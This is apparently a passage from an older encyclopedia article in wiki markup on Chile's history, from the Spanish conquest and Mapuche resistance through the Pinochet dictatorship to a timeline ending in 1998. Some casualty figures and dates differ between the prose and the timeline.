After this initial excursion there was little interest from colonial authorities in further exploring modern-day Chile. However, [[Pedro de Valdivia]], captain of the army, realizing the potential for expanding the Spanish empire southward, asked Pizarro permission to invade and conquer the southern lands. With a couple of hundred men, he subdued the local inhabitants and founded the city of Santiago de Nueva Extremadura, now [[Santiago de Chile]], in 1542.

Although de Valdivia found little gold in Chile he could see the agricultural richness of the land. He continued his explorations of the region west of the Andes and founded over a dozen towns and established the first [[encomienda]]s. The greatest resistance to Spanish rule came from the [[Mapuche]] culture, who opposed European conquest and colonization until 1880s; this resistance is traditionally labelled as the [[Arauco War]].

Valdivia died in the [[Battle of Tucapel]], defeated by [[Lautaro]], a young Mapuche ''[[toqui]]'' (war chief) but the European conquest was well underway. The Spaniards never subjugated the Mapuche territories; various attempt at conquest, both by military and peaceful means, failed. The Great Uprising of 1600 swept all Spanish presence south of the [[Bío-Bío River]] (except for Valdivia and Chiloé), and the great river became the frontier line between Mapuche lands and the Spanish realm.
North of that line cities grew up slowly, and Chilean lands eventually became an important source of food for the [[Viceroyalty of Peru]].

Chile was the least wealthy realm of the Spanish Crown for most of its colonial history. Only in the 18th century did a steady economic and demographic growth begin, an effect of the reforms by Spain's [[Bourbon Spain|Bourbon dynasty]] and a more stable situation along the frontier.

==Independence==
[[Image:ohiggins.jpg|thumb|Bernardo O'Higgins]]

The drive for independence from [[Spain]] was precipitated by usurpation of the Spanish throne by [[Napoleon]]'s brother [[Joseph Bonaparte]]. A national junta in the name of Ferdinand &amp;mdash; heir to the deposed king &amp;mdash; was formed on [[September 18]], [[1810]]. Spanish attempts to reimpose arbitrary rule during the period known in Chile as the ''Reconquista'' (&quot;Reconquest&quot;: the term echoes the ''[[Reconquista]]'' in which the Christian kingdoms retook Iberia from the Muslims) led to a prolonged struggle under [[Bernardo O'Higgins]], Chile's most renowned patriot and a member of South America's [[Irish diaspora]]. Other revolutionary leaders included the exiled British admiral [[Thomas Cochrane, 10th Earl of Dundonald]], who commanded the Chilean Navy from 1817-1822. 

Chilean independence was formally proclaimed on [[February 12]], [[1818]].

==The nineteenth century==
The political revolt brought little social change, however, and nineteenth century Chilean society preserved the essence of the stratified colonial social structure, family politics, and the influence of the [[Roman Catholic Church]]. The system of presidential power eventually predominated, but wealthy landowners continued to control Chile.

Toward the end of the nineteenth century, the government in Santiago consolidated its position in the south by persistently suppressing the [[Mapuche]]. In [[1881]], it signed a treaty with [[Argentina]] confirming Chilean sovereignty over the [[Strait of Magellan]], but conceding all of oriental [[Patagonia]], and a considerable fraction of the territory it had during colonial times. As a result of the [[War of the Pacific]] with [[Peru]] and [[Bolivia]] ([[1879]]-[[1883]]), Chile expanded its territory northward by almost one-third and acquired valuable [[nitrate]] deposits, the exploitation of which led to an era of national affluence.
[[Image:JoseManuelBalmaceda.jpg|thumb|right|200px|José Manuel Balmaceda, the president of the civil war]]
In the [[1870s]], the church influence started to diminish slightly with the passing of several laws that took some old roles of the church into the State's hands such as the registry of births and marriages. 

In [[1886]], [[José Manuel Balmaceda]] was elected president. His economic policies visibly changed the existing liberal policies. He began to violate the constitution and slowly began to establish a dictatorship. Congress decided to depose Balmaceda, who refused to step down. [[Jorge Montt]], among others, directed an armed conflict against Balmaceda, which soon extended into the [[Chilean Civil War]] of [[1891]]. Defeated, Balmaceda fled to Argentina's embassy, where he committed suicide. Jorge Montt became the new president.

==The twentieth century==
[[Image:Arturo Alessandri official portrait.jpg|thumb|200px|Arturo Alessandri Palma]]
By the [[1920s]], the emerging middle and working classes were powerful enough to elect a reformist president, whose program was frustrated by a conservative congress. A military coup led by General [[Luis Altamirano]] in 1924 set off a period of great political instability that lasted until 1932. The longest lasting of the ten governments between those years was that of Gen. [[Carlos Ibáñez]], who briefly held power in [[1925]] and then again between [[1927]] and [[1931]] in what was a de facto dictatorship. When constitutional rule was restored in [[1932]], a strong middle-class party, the Radicals, emerged. It became the key force in coalition governments for the next 20 years. During the period of [[Radical Party]] dominance (1932-52), the state increased its role in the economy. In [[1952]], voters returned Ibáñez to office for another 6 years. [[Jorge Alessandri]] succeeded Ibáñez in [[1958]].

The [[1964]] presidential election of [[Christian Democrat]] [[Eduardo Frei Montalva]] by an absolute majority initiated a period of major reform. Under the slogan &quot;Revolution in Liberty&quot;, the Frei administration embarked on far-reaching social and economic programs, particularly in education, housing, and agrarian reform, including rural unionization of agricultural workers. By [[1967]], however, Frei encountered increasing opposition from leftists, who charged that his reforms were inadequate, and from conservatives, who found them excessive.

===1970–1973===

[[Image:sallende.jpg|thumb|Salvador Allende]]

In [[1970]], [[Salvador Allende]] gained the presidency of Chile. Allende was a [[Marxism|Marxist]] and member of Chile's [[Socialist Party of Chile|Socialist Party]], who headed the &quot;[[Popular Unity]]&quot; (UP) coalition of the Socialist, Communist, Radical, and Social-Democratic Parties, along with dissident Christian Democrats, the Popular Unitary Action Movement (MAPU), and the Independent Popular Action. His program included the nationalization of most remaining private industries and banks, massive land expropriation, and collectivization. Allende's proposal also included the nationalization of US interests in Chile's major copper mines. Allende had two main competitors in the election — [[Radomiro Tomic]], representing the incumbent Christian Democratic party, who ran a left-wing campaign with much the same theme as Allende's, and the right-wing former president [[Jorge Alessandri]].

Allende received a plurality of the votes cast, getting 36% of the vote against Alessandri's 34% and Tomic's 27%. This was not the first time the leading candidate received less than half of the popular vote. Such had been the case in every post-war election, save that of 1968 — Alessandri himself was elected president in 1958 with 31%. In the absence of an absolute majority, the Chilean constitution required the president-elect to be confirmed by the Chilean parliament. This procedure had previously been a near-formality, yet became quite fraught in 1970.  After assurances of legality on Allende's part, and in spite of pressure from the U.S. government, Tomic's Christian Democrats voted together with Allende's supporters to confirm him as president. Allende received 153 votes to Alessandri's 35.  Following his election, indigenous and peasant forces across the country violently took control of ranches, forcibly fulfilling Allende's land redistribution promises.

Immediately after the election, the [[United States]] expressed its disapproval and raised a number of economic sanctions against Chile. In addition, the [[CIA]]'s website reports that the agency aided three different Chilean opposition groups during that time period and &quot;sought to instigate a coup to prevent Allende from taking office(.)&quot; [http://www.cia.gov/cia/reports/chile/#6] [http://www.gwu.edu/~nsarchiv/news/20001113/]  

In the first year of Allende's term, the short-term economic results of Minister of the Economics [[Pedro Vuskovic]]'s expansive monetary policy were unambiguously favorable: 12% industrial growth and an 8.6% increase in [[Gross domestic product|GDP]], accompanied by major declines in inflation (down from 34.9% to 22.1%) and unemployment (down to 3.8%). However, these results were not sustained and in [[1972]] the Chilean ''escudo'' had runaway inflation of 140%.  The combination of inflation and government-mandated price-fixing led to the rise of [[black market]]s in rice, beans, sugar, and flour, and a &quot;disappearance&quot; of such basic commodities from supermarket shelves. [http://icarito.latercera.cl/icarito/2003/912/pag1b.htm]

By 1973, Chilean society had grown highly polarized, between strong opponents and equally strong supporters of Salvador Allende and his government.  Military actions and movements, separate from the civilian authority, began to manifest in the countryside. A failed military [[coup d'état|coup]] was attempted against Allende in June 1973. Just a few months later, on [[September 11]] [[1973]], the successful [[Chilean coup of 1973]] received support from a large portion of the populace and from the political parties of the center and right, notably including the Christian Democratic party that had, earlier, supported the Allende regime.

As the armed forces attacked by land and air the presidential palace of [[Palacio de La Moneda|La Moneda]], President Allende died. The cause of his death was long a matter of controversy. Allende's supporters initially nearly all believed that he was murdered by [[Augusto Pinochet|Pinochet]]'s military forces while defending the palace, and some hold to that belief even today. However, several witnesses including one of the doctors of the presidential palace infirmary have said that he committed suicide with by machine gun, presumably the machine gun given to him by [[Fidel Castro]], a view that has come increasingly to be accepted.

Controversy surrounds alleged [[CIA]] involvement in the coup.  As early as the [[Church Committee]] Report (1975), publicly available documents have indicated that the CIA attempted to prevent Allende from taking office after he was elected in 1970; the CIA itself released documents in 2000 acknowledging this and that Pinochet was one of their favored alternatives to take power. Still, they deny having taken any active role in the events in Chile after Allende took office. This matter is discussed more extensively in the article &quot;[[U.S. intervention in Chile]]&quot;.

Following the coup in 1973, Chile was ruled by a military regime which lasted until 1990. The army established a junta, made up of the army commander, General [[Augusto Pinochet]]; the navy commander, Admiral [[José Toribio Merino]]; the air commander, [[Gustavo Leigh]]; and the director of the ''carabineros''; [[César Mendoza]]. Resigning after disagreements with Pinochet on [[July 24]], [[1978]], Leigh was replaced by General [[Fernando Matthei]]. Mendoza resigned after the carabineros were blamed for the deaths of three communists in [[1985]] and was replaced by [[Rodolfo Stange]].

The [[military dictatorship]] pursued decidedly [[laissez-faire]] economic policies.  During Pinochet's 16 years in power, Chile moved away from a largely state controlled economy towards a free-market economy, increasingly controlled by a few large economic groups that fostered an increase in domestic and foreign private investment — as well as numerous controversial effects.

===Chile under Pinochet===

====1973–1978====
{{main|Chile under Pinochet}}

[[Image:pinochetjunta.jpg|thumb|Pinochet (seated) as Chairman of the Junta following the coup (1973)]]

After the coup, Chileans witnessed and large-scale repression, which started as soon as [[October]] [[1973]], with at least 70 persons murdered by the infamous [[Caravan of Death]]. The four-man junta headed by General Augusto Pinochet abolished civil liberties, dissolved the national congress, banned union activities, prohibited strikes and collective bargaining, and erased the Allende administration's agrarian and economic reforms. The junta jailed, tortured, and executed thousands of Chileans. According to the [[Rettig Report|Rettig commission]] and the [[Valech Report]], close to 3,200 were executed, murdered or &quot;disappeared&quot;, and at least 29 000 imprisoned and tortured; higher estimates exist.  According to the Latin American Institute on Mental Health and Human Rights (ILAS), &quot;situations of extreme trauma&quot; affected about 200,000 persons; this figure includes individuals killed, tortured or exiled, and their immediate families.

The [[secret police]], [[DINA]] (''Dirección de Inteligencia Nacional'') spread its network throughout the country and carried out targeted [[assassination]]s abroad.  This was dubbed [[Operation Condor]], a campaign of assassination and intelligence-gathering, conducted by the security services of [[Argentina]], [[Bolivia]], [[Brazil]], [[Chile]], [[Paraguay]], and [[Uruguay]] in the mid-1970s. The [[junta]] also set up at least six [[concentration camp]]s.

The regime outlawed or suspended all political parties and suspended dissident labour and peasant leaders and clergymen.  [[Eduardo Frei]] and other Christian Democratic leaders initially supported the coup.  Later, they assumed the role of a loyal opposition to the military rulers, but soon lost most of their influence. Meanwhile, left-wing Christian Democratic leaders like Radomiro Tomic were jailed or forced into exile. The church, which at first expressed its gratitude to the armed forces for saving the country from the danger of a &quot;Marxist dictatorship,&quot; became increasingly critical of the regime's social and economic policies.

In [[1974]], the country was divided into 13 regions (it had previously been divided into provinces). This design has continued until today.

The junta embarked on a radical program of [[liberalization]] and [[privatization]], slashing [[tariff]]s as well as government welfare programs and [[deficit]]s. The new economic program was designed by a group of technocrats known as the [[Chicago boys]] because many of them had been trained or influenced by [[University of Chicago]] professors.

The junta's efforts to restore the market economy created extreme hardship. The regime's wage controls did not abate the world's highest rate of inflation; between [[September]] [[1973]] and [[October]] [[1975]], the [[consumer price index]] rose over 3,000%.  [[Exchange rate]] depreciations and cutbacks in government spending produced a depression. Industrial and agricultural production declined. Massive unemployment, estimated at 25% in 1977 (it was only 3% in 1972), and inflation eroded the living standard of workers and many members of the middle class to subsistence levels. The underemployed informal sector also mushroomed in size.

The economy grew rapidly from [[1976]] to [[1981]], fueled by the influx of private foreign [[loan]]s until the debt crisis of the early [[1980s]]. But despite high growth in the late [[1970s]], [[income distribution]] became more regressive. While the upper 5% of the population received 25% of the total national income in [[1972]], it received 50% in [[1975]]. Wage and salary earners got 64% of the national income in 1972 but only 38% at the beginning of 1977. [[Malnutrition]] affected half of the nation's children, and 60% of the population could not afford the minimum [[protein]] and [[food energy]] per day. [[Infant mortality]] increased sharply. Beggars flooded the streets. 

The junta's economics also ruined the Chilean small business class. Decreased [[demand]], lack of [[credit (finance)|credit]], and monopolies engendered by the regime pushed many small and medium size enterprises into bankruptcy. The curtailment of government expenditures created widespread white-collar and professional unemployment.  The middle class began to rue its early support of the junta but appeared reluctant to join the working class in resistance to the regime.

The junta relied on the army, the police, the oligarchy, huge foreign corporations, and foreign loans to maintain itself. As a whole, the armed services received large salary increases and new equipment. The oligarchy recovered most of its lost industrial and agricultural holdings, for the junta sold to private buyers most of the industries expropriated by Allende's Popular Unity government. This period saw the expansion of monopolies and widespread speculation.

Financial conglomerates became major beneficiaries of the liberalized economy and the flood of foreign bank loans. Large foreign banks received large sums in repayments of interest and principal from the junta; in return, they lent the government millions more. International lending organizations such as the [[World Bank]], the [[IMF]], and the [[Inter-American Development Bank]] lent vast sums. Foreign multinational corporations such as [[International Telephone and Telegraph]] (ITT), [[Dow Chemical]], and [[Firestone]], all expropriated by Allende, returned to Chile.

====1978–1990====

Chile's main industry, copper mining, remained in government hands, but new mineral deposits were open to private investment. Capitalist involvement was increased, pension funds and healthcare were privatized, and Superior Education was also placed in private hands. One of the junta's economic moves was fixing the exchange rate in the early 1980s, leading to a boom in imports and a collapse of domestic industrial production; this together with a world recession caused a serious economic crisis in 1982, where GDP plummeted by 14%, and unemployment reached 33%. At the same time a series of massive protests were organized trying to cause the fall of the regime, without success.

After the economic crisis of 1982, Hernan Buchi became Minister of Finance from 1985 to 1989.  He allowed the peso to float and reinstated restrictions on the movement of capital in and out of the country. He introduced banking legislation, simplified and reduced the corporate tax. Chile pressed ahead with privatizations, including public utilities plus the re-privatization of companies that had returned to the government during the 1982–1983 crisis. Under these new policies, the rate of inflation dropped from about 1,000% per year to about 10% per year. While this was still a high rate of inflation, it allowed the economy to start recovering. From 1984 to 1990, Chile's gross domestic product grew by an annual average of 5.9%, the fastest on the continent. Chile developed a good export economy, including the export of fruits and vegetables to the northern hemisphere when they were out of season, and commanded high prices.

The military junta began to change during the late [[1970s]]. Due to problems with Pinochet, Leigh was expelled from the junta in [[1978]] and replaced by General [[Fernando Matthei]]. Due to a scandal, Mendoza resigned in [[1985]] and was replaced by [[Rodolfo Stange]].

Problems with Argentina coming from the [[19th century]] reached a high in [[1978]], with disagreements over the Beagle Canal. The two countries agreed to papal mediation over the canal. Chilean-Argentine relations remained bad, however, and Chile helped the United Kingdom during the [[Falklands War]].

Chile's [[Constitution of Chile|constitution]] was approved in a fraudulent national plebiscite held in September 1980. It came into force in March [[1981]]. It established that in 1988 there would be another plebiscite in which the voters would accept or reject a single candidate proposed by the Military Junta. Pinochet was, as expected, the candidate proposed, and he was denied a second 8 year term by 55% of the vote.

===Return to Democracy===
[[Image:Patricio_Aylwin.jpg|thumb|200px|Patricio Aylwin]]

After Pinochet's defeat in the [[1988]] plebiscite, the constitution was amended to ease provisions for future amendments to the constitution, create more seats in the senate, diminish the role of the National Security Council and equalize the number of civilian and military members (four members each). Many among Chile's political class consider these and other provisions as &quot;authoritarian enclaves&quot; of the constitution and have pressed for reform. 

In December [[1989]], Christian Democrat [[Patricio Aylwin]], running as the candidate of the Concertacion (Coalition of parties including the Partido Demócrata Cristiano (DC), Partido Socialista de Chile (PS), Partido por la Democracia (PPD), Partido Radical Social-Demócrata(PRSD)), was elected president. In February 1991, the [[National Commission for Truth and Reconciliation]], established a year earlier by Aylwin, released its report of Human Rights Violations during the period of military dictatorship, known as the [[Rettig Report]] (after former Senator [[Raul Rettig]], president of the commission).

In the [[1993]] election, [[Eduardo Frei Ruiz-Tagle]] of the Christian Democratic Party was elected president for a 6-year term leading the Concertacion coalition, and took office in March [[1994]]. 

A presidential election was held on December 12, 1999, but none of the six candidates obtained a majority, which led to an unprecedented runoff election on January 16, 2000. [[Ricardo Lagos Escobar]] of the Socialist Party and the Party for Democracy (PPD) led the Concertacion coalition to a narrow victory, with 51.32% of the votes. He was sworn in March 11, 2000, for a 6-year term. 

In [[2002]] Chile signed an association agreement with the [[European Union]] (comprising FTA, political and cultural agreements), in 2003, an extensive free trade agreement with the [[United States]], and in [[2004]] with [[South Korea]], expecting a boom in import and export of local produce and becoming a regional trade-hub.

==Timeline==
[[1520]]: [[Ferdinand Magellan]] passes through the [[Straits of Magellan]], and becomes the first European to describe [[Patagonia]].

[[1536]]: [[Diego de Almagro]] arrives from [[Peru]], passing over the [[Andes]] to the valley of [[Copiapó]], and explores the central region of Chile as far as what will later become [[Santiago de Chile]]. Foundation of [[Valparaíso]].

[[1541]]: [[Pedro de Valdivia]] founds Santiago de Chile. In the following years, he (and others sent by him) founded [[La Serena, Chile|La Serena]] and [[Concepción, Chile|Concepción]].

[[1546]]: Uprising of [[Michimalonco]], [[Mapuche]] chief: Santiago destroyed. Mapuche military leader [[Lautaro]] is captured by the Spanish.

[[1552]]: Lautaro, after six years of imprisonment by the Spanish, escape and teaches his people military strategy, including riding horses.

[[1553]]: Mapuche uprising under Lautaro. &lt;!--is this the [[War of Arauco]]? -- [[User:Jmabel|Jmabel]] 06:22, Oct 8, 2004 (UTC) --&gt; Pedro de Valdivia is killed, in the [[Disaster of Tucapel]].

[[1557]]: Death of Lautaro.

[[1598]]: &quot;[[Disaster of Curalaba]]&quot;. Governor [[Ignacio García Oñez de Loyola]] killed in a Mapuche ambush.

[[1602]]: General uprising of the Mapuches under [[Pelantaro]]. All cities south of the [[River Biobío]] are destroyed.

[[1681]]: By royal decree, the [[Atacama]] desert is declared to be the border between the Captain-Generalship of Chile and the Viceroyalty of Peru.

[[1767]]: The Kingdom Spain exiles all [[Society of Jesus|Jesuits]]. 

[[1776]]: The territories of [[Tucumán]], previously governed as part of Chile, become the [[Viceroyalty of the Río de la Plata]]. (''See [[History of Argentina]].'')

[[1789]]: Start of the [[French Revolution]], which affected Europe and the Americas with its ideals.

[[1808]]: [[García Carrasco]], unpopular Governor of Chile. Spanish king [[Ferdinand VII]] is imprisoned by [[Napoleon I of France|Napoleon]] during his invasion of Spain. 

[[1810]]: Imitating the ''juntista'' movement of the rest of [[Latin America]], the [[criollo]]s (people of Spanish ancestry, but not born in Spain) of Santiago de Chile proclaim a governing Junta.

[[1811]]: Tired of being circumvented by political intrigues, [[José Miguel Carrera]] takes power by military means and initiates a [[dictatorship]].

[[1812]]: Hostilities begin between the ''moderados'', led by [[Bernardo O'Higgins]], and the ''exaltados'', led by Carrera. Carrera institutes the first Chilean national symbols (flag, coat of arms, and national anthem), and Fray [[Camilo Henríquez]] begins to publish the ''[[Aurora de Chile]]'', the first Chilean newspaper. The [[Chilean Constitution of 1812]] comes into effect. Founding of the [[Logia Lautaro]].

[[1813]]: The Spanish send military expeditions (under [[Antonio Pareja]] and [[Gabino Gaínza]]) from the Viceroyalty of Peru. In the ensuing battles O'Higgins rises to be seen as a figure of great stature, overshadowing the continually less popular Carrera, who ultimately resigns. [[Francisco de la Lastra]] becomes Supreme Director.

[[1814]]: The &quot;[[Disaster of Rancagua]]&quot;. [[Mariano Osorio]], in command of a third Spanish expedition, defeats O'Higgins ([[October 1]] &amp;ndash; [[October 2|2]]. Osorio reconquers Santiago for Spain. Exodus of Chilean patriots to [[Mendoza]], [[Argentina]], where they receive the support of [[José de San Martín]]. Those patriots who remain in Chile are captured by the Spaniards are deported to the [[Archipiélago Juan Fernández]]. Osorio is confirmed Governor of Chile by the Viceroy [[Fernando de Abascal]] of Peru. The ''[[talavera]]s'', under the command of San Bruno, install a regime of terror extending to those merely suspected of sympathy for the Chilean cause.

[[1815]]: [[guerrilla warfare|Guerrilla]] resistance against the Spanish begins, led by [[Manuel Rodríguez Erdoiza]], and other spies such as [[Justo Estay]]. Increasing enmity between Osorio and Abascal leads Abascal to replace Osorio with [[Casimiro Marcó del Pont]].

[[1817]]: [[Battle of Chacabuco]]. O'Higgins defeats [[Rafael Maroto]], reconquering Santiago. Captain San Bruno, hated chief of the ''talaveras'', is captured and &amp;mdash; less than 24 hours later &amp;mdash; executed by [[firing squad]]. O'Higgins becomes dictator.

[[1818]]: O'Higgins signs the [[Chilean Declaration of Indepencence]] ([[February 12]]). Shortly afterwards, in the [[Battle of Maipú]], a new military expedition led by Mariano Osorio is defeated, and Chile definitively obtains independence ([[April 5]]). The rivalry between O'Higgins and Manuel Rodríguez ends with the ambush and assassination of the latter in [[Tiltil]]. The brothers [[Juan José Carrera|Juan José]] and [[José Luis Carrera]] are shot in Argentina, probably on the orders of O'Higgins or the Logia Lautaro.

[[1821]]: [[José Miguel Carrera]] arrested as a ''montonero'' (mounted rebel/bandit) in Argentina, and exectuted in Mendoza.

[[1822]]: Military expedition to Peru. San Martín undertakes a prudent military campaign, enters Lima, but sees the impossibility of crushing the last Spanish redoubts, a job that is left for [[Simón Bolívar]] and [[Antonio José de Sucre]].
The [[Chilean Constitution of 1822]] comes into effect.

[[1823]]: [[Ramón Freire]] leads a military expedition from Concepción to Santiago and forces O'Higgins to resign. He goes into exile in Peru, where he dies in [[1842]]. Freire assumes power.

[[1825]]: Taking advantage of the unsurveyed border, and ignoring the royal decree of 1681 and the principal ''[[uti possidetis]]'', Simón Bolívar grants the port of [[Cobija]] to Bolivia. This gives Bolivia an outlet to the sea between Chile and Peru, which it will retain until the [[War of the Pacific]].

[[1826]]: Freire resigns, initiating an interregnum know as [[The Anarchy (Chile)|The Anarchy]]. First attempt in Chile of federal (as against centralized) government, led by the first president of Chile [[Manuel Blanco Encalada]], and the federalist [[José Miguel Infante]].

[[1828]]: [[Francisco Antonio Pinto]] assumes power after the resignation of Encalada and his predecesors. [[Chilean Constitution of 1828]]. 

[[1829]]: [[Chilean Revolution of 1829]]. After several battles, [[Joaquín Prieto]] defeats [[Ramón Freire]] in the [[Battle of Lircay]]. 

[[1830]]: [[Diego Portales]] begins to clandestinely remodel Chilean institutionality, converting it into an authoritarian republic.

[[1831]]: [[José Joaquín Prieto]] becomes president of Chile. He will serve two consecutive five-year terms. With him, the so-called ''decenios'' (decade-long reigns) begin, which continue until [[1871]]. This 30-year [[Conservative Party (Chile)|Conservative Party]] hegemony is sometimes referred to as the [[Authoritarian Republic]].

[[1832]]: Discovery of mineral deposits in [[Chañarcillo]], and the beginning of the rise of silver in what was then el Norte Chico and now constitutes the [[Atacama Region of Chile|Atacama]] and [[Coquimbo Region of Chile|Coquimbo]] [[regions of Chile]]). The mining fortunes constitute an important source of power in the following decades. 

[[1833]]: [[Chilean Constitution of 1833]]. &quot;Portalian&quot; &amp;mdash; that is, inspired by Diego Portales &amp;mdash; definitively fixed Chilean institutions.

[[1836]]: [[Juan Egaña]] declares the war on the[[Peruvian-Bolivian Confederation]]. 

[[1837]]: Diego Portales is assassinated by mutinous soldiers in [[Quillota]]. A Chilean military expedition debarks in Perú, beginning a war with the [[Peruvian-Bolivian Confederation]].

[[1839]]: [[Battle of Yungay]] and defeat of the Confederation. 

[[1840]]: [[The Vatican]] acknowleges the [[Independence of Chile]] 

[[1841]]: [[Manuel Bulnes]], victorious marshall of the Battle of Yungay, elected president of Chile.

[[1842]]: [[Intellectual movement of 1842 (Chile)|Important intellectual movement]] registered this year. A great number of teachers, thinkers, profesors, and wise men arrive to the country &lt;!-- &quot;arrive to the country&quot; makes no sense, nor is it a literal translation of meaningful Spanish, what does this mean to say? --&gt; and establish societies. 

[[1843]]: [[University of Chile]] founded. It will become on of the country's two most prestigious university. along with the [[Catholic University of Chile]], which was founded years later. [[Fort Bulnes]] established, the first Chilean presence on the Strait of Magellan.

[[1844]]: Spain recognizes the [[Independence of Chile]]

[[1851]]: [[José María de la Cruz]] revolts in the southern provinces of Chile. Bulnes crushes the revolutionary attempt and signs the treaty of ''Purapel'' with the revolutionaries. [[Manuel Montt]] becomes the third of the ''decenal'' presidents. 

[[1856]]: The [[Dispute of Sacristán]] (''&quot;Cuestión del Sacristán&quot;''). An apparently trivial question of ecclesiastical discipline divides the Conservative Party into secular and ultra-Catholic factions, which lays the ground for their political defeat in the elections of [[1861]].

[[1857]]: The [[Civil Code of Chile]] comes into effect; it will become a model for Latin American legal codes down to the present day.

[[1859]]: [[Chilean Revolution of 1859]]. [[Pedro León Gallo]], radical revolutionary of [[Copiapó]], and others are defeated by the goverment forces. However, as a consequence, [[Antonio Varas]] renounces to his candidature. 

[[1861]]: [[José Joaquín Pérez]] of the [[Liberal Party (Chile)|Liberal Party]] elected president. His party will retain power until the [[Chilean Revolution of 1891]].

[[1863]]: A [[France|French]] adventurer proclaims himself [[Orélie Antoine I]], King of Araucanía. After a short time he is arrested by the Chileans and deported, but the incident meant the end of the Chilean preocupation with occupying the remaining Mapuche, before some other power could do so and divide Chile in two. This intensification of activity is known as the [[Pacification of Araucanía]].

[[1866]]: Chile, Ecuador, Peru, and Bolivia at war with Spain. The port of Valparaíso is bombed by the Spanish. A treaty of limits (borders) of 1866 is signed with Bolivia. 

[[1871]]: A constitutional reform prohibits re-election, resulting in the end of the ''decenios''. Governments of five years duration persist until [[1925]], except for the premature death of [[Pedro Montt]] in [[1910]].

[[1874]]: Another treaty of limits is signed with Bolivia due to political tensions. 

[[1879]]: In defense of the interests of the Chilean industrial oligarchy, Chilean soldiers occupy the Bolivian port of [[Antofagasta]], precipitating the [[War of the Pacific]] against Peru and Bolivia. The Chilean cause is adopted by the general populace after the death of Captain [[Arturo Prat]] in the [[Naval battle of Iquique]]. The same day, [[May 21]], Captain [[Carlos Condell]] sinks the powerful ''Independencia'', which together with the capture of the ''Huáscar'' in the [[Naval battle of Angamos]], eliminates Peruvian sea power and permits the Chileans to land troops at will along the coast throughout the military theater of operations. 

[[1881]]: Chilean troops occupy and sack [[Lima]], capital of Peru. The war will continue another three years, with the Peruvians retreating to the Sierra and successfully defending their mountainous redoubts. Argentina takes advantage of the military situation to impose upon Chile a settlement of their border disputes, granting all of Patagonia to Argentina. The Mapuches also take advantage, with an armed rising against the increasing Chilean occupation of their territories, but are finally and definitively defeated for the first time in three centuries of combat.

[[1883]]: Law of [[marriage|Civil Matrimony]] adopted. This secularization was fiercely resisted by the [[Roman Catholicism|Roman Catholic Church]]. The [[Treaty of Ancón]] is signed with Perú to end the war. 

[[1884]]: War of the Pacific ends, allowing mining of [[saltpeter]] in the regions conquered from Peru and Bolivia, leading to great national prosperity for Chile. Treaty called &quot;[[Pacto de Tregua]]&quot;.

[[1888]]: [[Policarpo Toro]] leads a naval expedition to annex [[Easter Island]]. The [[Catholic University of Chile]] is privately founded. 

[[1891]]. [[Chilean Revolution of 1891]]. The constitutional president [[José Manuel Balmaceda]] is overthrown by troops favorable to the National Congress. The beginning of &quot;Parliamentarism&quot; under which the Chilean oligarchy governed on its own behalf.

[[1906]]: Massacre of the Escuela Santa María de Iquique; soldiers fire on saltpeter workers and their unarmed associates. It will be years before the workers, terrorized by the brutal repression, resume the struggle for their rights.

[[1910]]: The centenary of independence is darkened by the death of President [[Pedro Montt]], the only president between [[1831]] and [[1925]] who failed to complete his term of office.

[[1920]]: [[Arturo Alessandri Palma]] elected president, indicating a rise to power by the Chilean middle class.

[[1924]]: Chile's first [[income tax]] levied.

[[1925]]: After intense political agitation the [[Chilean Constitution of 1925]] is adopted, only slightly less authoritarian than that of 1833. The ''Impuesto Global Complementario'', a [[graduated income tax]], is introduced.

[[1927]]: Amidst great political instability, and by way of a bloodless coup, [[Carlos Ibáñez del Campo]] takes the presidency. He will govern as dictator, taking [[Benito Mussolini]] as his model, until [[1931]]. Also in 1927, the corps of ''[[carabineros]]'' &amp;mdash; militarized police &amp;mdash; is founded.

[[1929]]: The economic [[crash of 1929]] strikes Chile with more force than any other country on earth.

[[1931]]: The deep economic crisis obliges Ibáñez del Campo to step down. A series of civilian governments and military juntas follows, some of which last no more than a few days.

[[1932]]: The period of political anarchy ends with the return to power of [[Arturo Alessandri Palma]].

[[1938]]: Massacre of [[Seguro Obrero]].

[[1939]]: The [[Radical Party (Chile)|Radical Party]] gains power, which they will keep until [[1952]].

[[1940]]: [[Pedro Aguirre Cerda]], president of the nation, establishes internationally the first Chilean claims in [[Antarctica]].

[[1945]]: [[Gabriela Mistral]] receives the [[Nobel Prize for Literature]].

[[1946]]: [[Gabriel González Videla]] becomes president, backed by a broad alliance of parties, including the Radicals and [[Communist Party of Chile|Communists]]. Once in power, he acceded to pressure from the [[United States]] and promulgates the [[Law of Defense of Democracy (Chile)|Law of Defense of Democracy]], also known as the ''Ley Maldita'' (&quot;accursed law&quot;), which outlawed his former allies the Communists, some of whom were placed in [[concentration camps]] in [[Pisagua]]. Poet [[Pablo Neruda]] hounded into exile.

[[1952]]: [[Carlos Ibáñez del Campo]] returns to the presidency, this time via the ballot box, ending the era of the Radical Party. His emblem is the broom, with which he proposed (fruitlessly) to sweep away the Radicals' legacy of corruption.

[[1964]]: [[Christian Democracy|Christian Democrat]] [[Eduardo Frei Montalva]] becomes president, proclaiming the so-called &quot;Revolution in Liberty&quot;.

[[1970]]: [[Salvador Allende]] elected president; his leftist orientation greatly displeases the government of the [[United States]]. See [[1970 Chilean presidential election]].

[[1971]]: Poet [[Pablo Neruda]] receives [[Nobel Prize for Literature]].

[[1973]]. The Armed Forces, ''carabineros'', and others stage a coup, overthrowing Allende, who dies in the course of the coup. [[Augusto Pinochet]] establishes himself as the head of a military junta. The subsequent repression of leftists and other opponents of the military regime results in approximately 130,000 arrests and at least 30,000 dead or [[Disappearances|&quot;disappeared&quot;]] over the next three years. ''See [[Chilean coup of 1973]].''

[[1976]]: The machinations of the United States oblige [[President of the Philippines|President]] [[Ferdinand Marcos]], to cancel a scheduled visit by President Pinochet to the Philippines.

[[1980]]: The military government promulgates the [[Chilean Constitution of 1980]], which is adopted by [[plebiscite]]. Economic policy begins to be significantly influenced by the ideas of the [[Chicago School]] and of [[Neoliberalism]].

[[1988]]: Pinochet loses the plebiscite foreseen by the constitution, which brings about, by agreement of all, elections the following year.

[[1990]]: [[Patricio Aylwin]] takes office as President. Transition to democracy begins.

[[1994]]: [[Eduardo Frei Ruiz-Tagle]] is elected President.

[[1998]]: During a visit to [[London]] for medical reasons, Augusto Pinochet is arrested in accord with the orders of Spanish judge [[Baltasar Garzón]], beginning an international struggle between his supporters and detractors. He returns to Chile the following year, and the charges against him are later thrown out on the basis of his ostensibly deteriorated mental state. Chile suffers greatly from the world economic crisis, resulting in years of inflation and unemployment.

